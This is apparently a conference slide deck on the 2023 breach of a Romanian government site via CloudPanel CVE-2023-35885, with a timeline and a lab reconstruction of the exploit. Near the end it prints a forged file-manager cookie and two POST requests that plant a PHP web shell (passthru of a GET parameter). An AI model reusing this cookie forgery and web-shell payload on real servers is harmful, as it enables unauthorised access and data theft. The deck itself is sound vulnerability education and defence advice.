
Kittens Falling from the Skies
        #OpRomania

Adrian Furtunã



Agenda
1. The story of the data breach

2. Reconstruction of the attack

a. Manually
b. Automatically

3. Conclusions



$_ whoami

● Ex-fulltime pentester
○ 15+ years of experience in offensive security

○ Reformed programmer

● Founder @Pentest-Tools.com

● Associate professor @UPB

● Speaker at security events:
○ BlackHat UK

○ Hack.lu

○ Hacktivity

○ Defcamp, etc



Disclaimer
● I’m not the author of the vulnerability / exploit

● All info from this presentation is already public



Part 1: About the data breach

The story



Every bored kitten surfs the Internet



New Exploit
CloudPanel

This is cool…



Let’s hunt for shells



Shellz everywhere!

~ 10k servers



Hmmm… this one is different



mcidm.gov.ro 



Now what?



https://web.archive.org/web/20230723194624/https://mcid.gov.ro/ 

Let’s do a fresh look   (July 23, 2023)

https://web.archive.org/web/20230723194624/https://mcid.gov.ro/


https://web.archive.org/web/20230723194624/https://mcid.gov.ro/ 

Let’s do a fresh look   (July 23, 2023)

KittenSec 

https://web.archive.org/web/20230723194624/https://mcid.gov.ro/


And steal all the data from the server

Website files
Databases

Emails

38GB



And pivot to connected apps

- Police car tracking app
- OMV Fleet Online 

Services, etc
- European Union Extranet



https://maia.crimew.gay/posts/kittensec-opromania/



Then leak all the data and brag about it



Timeline of events
● June 1, 2023  - Vulnerability found 

● Muhammad Aizat - www.datack.my 

● June 12, 2023 - Privately disclosed to vendor

● June 20, 2023 - Patch released  by vendor (v 2.3.1)
● Blog post about the vuln (no exploit)
● https://www.datack.my/fallingskies-cloudpanel-0-day/  

● July 20, 2023 - Exploit public
● https://github.com/datackmy/FallingSkies-CVE-2023-35885/ 

● July 23, 2023 - mcid.gov.ro defaced  

● July 30, 2023 - First article about the breach:
● https://maia.crimew.gay/posts/kittensec-opromania/ 

● August 29, 2023 - Author’s blog post about the breach
● https://pushfs.org/posts/romania/   

http://www.datack.my
https://www.datack.my/fallingskies-cloudpanel-0-day/
https://github.com/datackmy/FallingSkies-CVE-2023-35885/
https://maia.crimew.gay/posts/kittensec-opromania/
https://pushfs.org/posts/romania/
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Attack was here

Vulnerability 
patched

http://www.datack.my
https://www.datack.my/fallingskies-cloudpanel-0-day/
https://github.com/datackmy/FallingSkies-CVE-2023-35885/
https://maia.crimew.gay/posts/kittensec-opromania/
https://pushfs.org/posts/romania/


Part 2: Recreate the attack



About the vulnerability

- CVE-2023-35885 (AKA FallingSkies)
- https://nvd.nist.gov/vuln/detail/CVE-2023-35885 

- https://github.com/cloudpanel-io/cloudpanel-ce/releases 

- Discovered by Muhammad Aizat, datack.my 
- Details: https://www.datack.my/fallingskies-cloudpanel-0-day/ 

- Exploit: https://github.com/datackmy/FallingSkies-CVE-2023-35885 

- Affects CloudPanel v2.0.0 - v2.3.0
- Free application

- Not open-source!

https://nvd.nist.gov/vuln/detail/CVE-2023-35885
https://github.com/cloudpanel-io/cloudpanel-ce/releases
https://www.datack.my/fallingskies-cloudpanel-0-day/
https://github.com/datackmy/FallingSkies-CVE-2023-35885


CloudPanel - login 



CloudPanel - manage sites



CloudPanel - sample sites



CloudPanel - File Manager



Default request to File Manager



CVE-2023-35885 root cause

- File Manager can be accessed without the session cookie cloudpanel
- The cookie clp-fm is encrypted with default secret key



Request to File Manager without session cookie



What is the clp-fm cookie?
File: /home/clp/htdocs/app/files/public/file-manager/backend.php  



What is the clp-fm cookie?
File: /home/clp/htdocs/app/files/public/file-manager/backend.php (deobfuscated)  



What is the clp-fm cookie?
File: /home/clp/htdocs/app/files/public/file-manager/backend.php (deobfuscated)  

Get cookie value



What is the clp-fm cookie?
File: /home/clp/htdocs/app/files/public/file-manager/backend.php (deobfuscated)  

Decode from 
base64



What is the clp-fm cookie?
File: /home/clp/htdocs/app/files/public/file-manager/backend.php (deobfuscated)  

Decrypt with 
empty key?



What is the clp-fm cookie?
File: /home/clp/htdocs/app/files/public/file-manager/backend.php (deobfuscated)  

Unserialize 
cookie data



What is the clp-fm cookie?
File: /home/clp/htdocs/app/files/public/file-manager/backend.php (deobfuscated)  

Set the 
current user



Decrypted clp-fm cookie

'a:2:{s:4:"user";s:3:"clp";s:6:"locale";s:2:"en";}'



Decrypted clp-fm cookie

'a:2:{s:4:"user";s:3:"clp";s:6:"locale";s:2:"en";}'

user=clp
locale=en

clp → highest 
privileged user



Let’s regenerate the encrypted cookie

ZGVmNTAyMDAxYzM0ZDRiZWRkYWYyNTNlM2VkMGFiMTgzYjdhYjU2YTdkZjA4NzQ5ZDUzN2Q3
MGUzZjc4YzRkNzJjNjBjOGRiMGNlYzViM2IxNjhmOTRjMzAwNGNhMzg5ZGJkNzg1Nzk4NjRjZjAxYz
E1YjEzMzRmZjM1OTc4ZTIwZGJmYmYyNzQyYjM2OGNjMzc4YTk3YmMyNWRmODA4N2Q2NjE4M
TE0NmQ3ZmFlZDEyNDY5NjI3ZmQ3YTgzNTNlM2RmNWE4NjFkOGJmMjU0ZGQxZGQ3OGRlMmQz
MDNiZGJlMjUyYmZkM2QwM2Q2OTliMzJkOGE5MmFhNGM1YzAwZDk2ZGFhNDAxMmQ=

Encrypt with 
empty key



And get a shell

1. Create a new php file

2. Set contents of the file

POST /file-manager/backend/makefile
Host: 172.16.38.132:8443
Cookie: clp-fm=ZGVmN……

id=/htdocs/app/files/public/&name=shell.php

POST /file-manager/backend/text
Host: 172.16.38.132:8443
Cookie: clp-fm=ZGVmN…..

id=/htdocs/app/files/public/shell.php&content=<?php+passthru($_GET['cmd']);?>



And get a shell

DEMO



Automatically with 
Pentest-Tools.com

- Explore the Vuln Database for CVE-2023-35885

- Scan with Network Scanner

- Exploit with Sniper

https://pentest-tools.com/vulnerabilities-exploits/
https://pentest-tools.com/network-vulnerability-scanning/network-security-scanner-online-openvas
https://pentest-tools.com/exploit-helpers/sniper


Part 3: Conclusions



Conclusions

● Don’t use immature software in prod just because it’s easy to use

● Patch as soon as the vendor says so

● Pentest yourself, don’t get hacked
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Thank you!

Adrian Furtună

adrian.furtuna@pentest-tools.com


